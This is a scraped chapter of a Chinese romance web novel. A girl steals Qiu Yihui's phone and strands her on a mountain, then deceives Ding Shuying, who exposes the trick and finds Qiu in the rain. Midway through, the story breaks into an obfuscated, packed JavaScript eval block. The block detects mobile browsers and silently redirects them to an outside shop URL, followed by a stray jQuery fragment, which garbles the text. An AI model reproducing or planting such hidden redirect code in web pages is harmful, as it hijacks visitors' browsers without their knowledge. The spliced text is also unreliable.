“真是……”
年纪不大,心思挺多。
裘亦回冷静了几分,径直走到一旁的大树下休息。
她对这里不熟悉,也不知道这个女孩是从哪里知道这么人迹罕至的地方。一时半会儿,裘亦回还真没什么招。
只可惜,裘亦回从来不是什么坐以待毙的人。
她拍了拍自己的衣服:“算了算了,我还是自己找找路吧。”
*
另一边,那个拿着裘亦回手机的女孩儿已经回到了白蓉身边。
“白姐,我已经把她甩到了一个没有人的地方,一时半会儿她都出来不了了。”
白蓉满意地点点头:“做得好。”
说来也巧,白蓉身边的这个女孩是住在这山上的,她对山的地形都了如指掌,自然能很快将裘亦回甩开,并回到白蓉身边。
白蓉接过裘亦回的手机,轻车熟路地打开裘亦回的QQ,映入眼帘就是丁殊映发来的一句“姐姐,你在哪里?”
“玩得真花,还是姐弟恋呢。”白蓉轻嗤一声,一个大胆的想法在她心中慢慢成型。
既然她得不到丁殊映,那裘亦回也别想得到。
白蓉回复道:“丁殊映,我和其他男生先走了。你之后跟过来吧。”
发完这句话,白蓉就将裘亦回的手机摁灭放入包中。
此时半山腰的集合地点,就只剩下寥寥几人。
丁殊映看着自己的手机陷入沉思。
和别的男生……
丁殊映脑中不由闪过之前在裘亦回班上看到的那个男生。
裘亦回抛下自己,是为了和……
他吗?
想到这里,丁殊映心脏就被狠狠揪起。
那是他的姐姐,他准备这么久为了和她一起出游,她就这么抛下自己了?
正当丁殊映在原地懊恼时,白蓉走到了丁殊映面前。
“是丁殊映同学吗?”白蓉面露娇羞地撩了撩自己的头发。
“什么事?”此刻被裘亦回放了鸽子的丁殊映自是没有什么好脸色。
但白蓉像是看不出来,她道:“啊,我是裘亦回班上的白蓉。”
丁殊映冷冷地看了她一眼,也就听到“裘亦回”这三个字,眼神才稍微柔和了几分。
“怎么了?”
“那个就是……”白蓉踌躇道,“裘亦回让我跟你说,可以不用等她了,她已经找到了其他伙伴了。而且她已经走了许久了。”
丁殊映听到这话眼神更冷了几分。
原本柔和的眉眼此刻宛若冰霜。
“用不着你提醒我。”
像是赌气一般,丁殊映拎起地上的背包就打算接着上山。
他倒要看看,到底是什么样的男的能够把他的姐姐抢走!
白蓉跟在他的身后还在喋喋不休道:“也不知道裘亦回是怎么想的,居然抛下你。幸好她跟我提了一嘴,让我来陪着你,不然你得多孤单……”
闻言,丁殊映停下脚步,回头眼睛一眨也不眨地看向白蓉。
“你是说……”丁殊映的话像是从牙缝中挤出,“裘亦回让你来陪我?”
“是,是啊。”白蓉被这架势吓了一跳,“有,有什么不对吗?”
丁殊映轻笑一声。
好,真是好得很。
他最亲近的人不但抛下他,还把他推给别人。
丁殊映迈开腿径直向山上冲去,白蓉在身后吃力地跟着。
这和她想的场景不一样!
她要的是和丁殊映单独相处,然后并肩走在一起,谈情说爱,而不是像现在这样,一个人在前面猛猛冲,另一个人在后面猛猛追!这都什么跟什么嘛!
天空不知何时阴沉了下来,天空飘起了雨。豆大的雨点砸在过往行人的肩膀上。
丁殊映回头将自己的书包放下,而后从里面拿出一把蓝色的伞,他一眼就看到了背包夹层中另外一把粉色的雨伞。
啧,真是……
之前为了方便裘亦回爬山,他将一切重的东西都放到了自己的背包中。
伞、还有一些吃的,统统都在他的包中。
裘亦回身上是没有一把伞的。
和他赌气也好,不想和他同行也好。
丁殊映此时心中就一个想法,别让她被雨淋。
好巧不巧,此刻躲雨的同学中,丁殊映看到了一个熟悉的身影。
正是那天向裘亦回表白的张薪。
丁殊映走了过去问道:“裘亦回没在你身边吗?”
张薪被这突如其来的问题问得一愣:“裘亦回为什么会跟着我啊?”
莫名,一种不好的预感从心底溢出。
丁殊映连忙打开手机,找到了裘亦回的号码,给她拨了过去。
“嘟嘟嘟——”
好在这里信号还行,电话成功拨了出去。
一秒两秒……
电话的声音夹杂着雨声敲击在丁殊映的心间。
接电话啊,裘亦回……
就当丁殊映绝望的时候,一阵熟悉的铃声从丁殊映身后响起。
他惊喜回头:“裘……”
待他看清眼前人的时候,那个名字成功堵在口中。
“怎么是你?!”
丁殊映看向眼前的人,不是他的裘亦回,而是白蓉。
“怎,怎么了?”白蓉被丁殊映的目光吓得怔住。
丁殊映探究的眼光落到了她的背包处,手机还在拨号界面,而白蓉的背包处传出一阵熟悉的铃声,那是裘亦回最喜欢的音乐——《月光》。
瞬间丁殊映的脑子清醒了几分。
为什么裘亦回会给他发那样的消息。
为什么白蓉会在那么巧的时候出现,并告诉他,裘亦回跟别人走了。
一切都有迹可循。
“拿出来。”少年骨节分明的手朝白蓉的方向递出,言语中不带一丝温度,“你知道我说的是什么。”
白蓉还想装傻:“你,你在说什么啊,我,我听不明白。”
“裘亦回的手机为什么会在你那里?”
这一句,不是疑问,而是笃定。
白蓉还想狡辩,只可惜丁殊映已经无心再听她说话,他伸手将白蓉的背包扯过,打开拉链一瞬间,他就看到了那熟悉的手机。
“她在哪里?”
丁殊映猩红着眼问道,他一把揪住白蓉的衣领问道:“她在哪儿?”
丁殊映手上的力道越发大,掐的白蓉有些喘不过气。
周围的同学见状况不对,纷纷将丁殊映拉开。
被放开的白蓉连忙揉了揉自己的脖子:“我,我不知道……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482552|201831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丁殊映沉默地看了她一眼,而后抛下一句“你最好祈祷她没事”就转身离开。
白蓉捂住自己狂跳不止的心脏。
她感觉到了,那一瞬间丁殊映是真的想要杀了她。
这样的人,太可怕了。
*
走在小路上的裘亦回没想到自己能这么倒霉。
“怎么还下起雨了?”说着裘亦回还打了个喷嚏。
她搂了搂自己的衣服,将自己裹得严实了些。
从最初的期待,裘亦回心中渐渐麻木了几分。
因为这里是真的没什么人。
“真想有个人找到我……”
然后跟她说,不用自己走了我带你离开。
裘亦回想了想,又摇摇头。
她自言自语道:“别想了,裘亦回。肯定没有人能够找到你的。”
她现在唯一的希望就是赶紧到山上的缆车处。
缆车处修建地极为醒目,要是到了,她肯定能看见。
还有一点她选择接着往山上走的原因就是,半山腰处离山顶缆车更近,若是她往下走说不定会迷路,但往上走定然不会。
只可惜,貌似很少的人选择继续往上,这一路上她是真的真的没有见到一个人。也有可能是因为她走的小路……
总之裘亦回找了好多好多理由来安慰自己。
雨越来越大,裘亦回身上的衣服早已被雨浸湿发丝一缕一缕地贴在耳侧,整个人狼狈不堪。
“系统……”裘亦回在脑海中轻声唤道。
平日里比谁都迅速出现的系统此刻却悄然无声。
真是叫天天不应,叫地地不灵。
裘亦回拖着疲惫的步伐接着往山上走。
她双腿打着颤,不知是冷的,还是累的。
水杯里的水她早就已经喝完,背包里也没什么吃的。
“这都什么事啊。”裘亦回苦笑一声。
就在她心灰意冷的时候,一道亮眼的光照到了她身上。
“姐姐。”
熟悉的呼唤声让她失神片刻。
是错觉吗?还是幻觉?
她怎么看到一个丁殊映在向她走来?
直到被熟悉的温度包裹住,裘亦回才不可置信道:“弟弟?”
“是我。”丁殊映一手撑伞,一手将裘亦回揽入怀中,“我来了。”
不知是不是裘亦回的错觉,她觉得丁殊映比她抖得还厉害。
裘亦回刚想说什么,就觉得鼻子里痒痒的。
“啊嚏。”裘亦回尴尬地摸了摸鼻子,“我……”
丁殊映二话没说就将自己的外套取下来,披到裘亦回的身上。
他撩开裘亦回湿漉漉的头发,委屈地红了眼。
裘亦回被他这操作弄得有些摸不着头脑。
“你你你,你别哭啊。”裘亦回手忙脚乱地安慰道,“你哭什么?”
“没什么。”丁殊映摸了摸自己的眼睛,“就是觉得都是我的错。”
他怎么该怀疑裘亦回呢?分明在出发前,他看到了裘亦回眼底的期待,他又怎么该去怀疑裘亦回的真心,以为她和别人跑了呢?
若是他没有怀疑,那就能早早察觉出裘亦回消失,然后,然后裘亦回就不会受这么大的委屈了。
谁也不知道,他这一路的慌乱。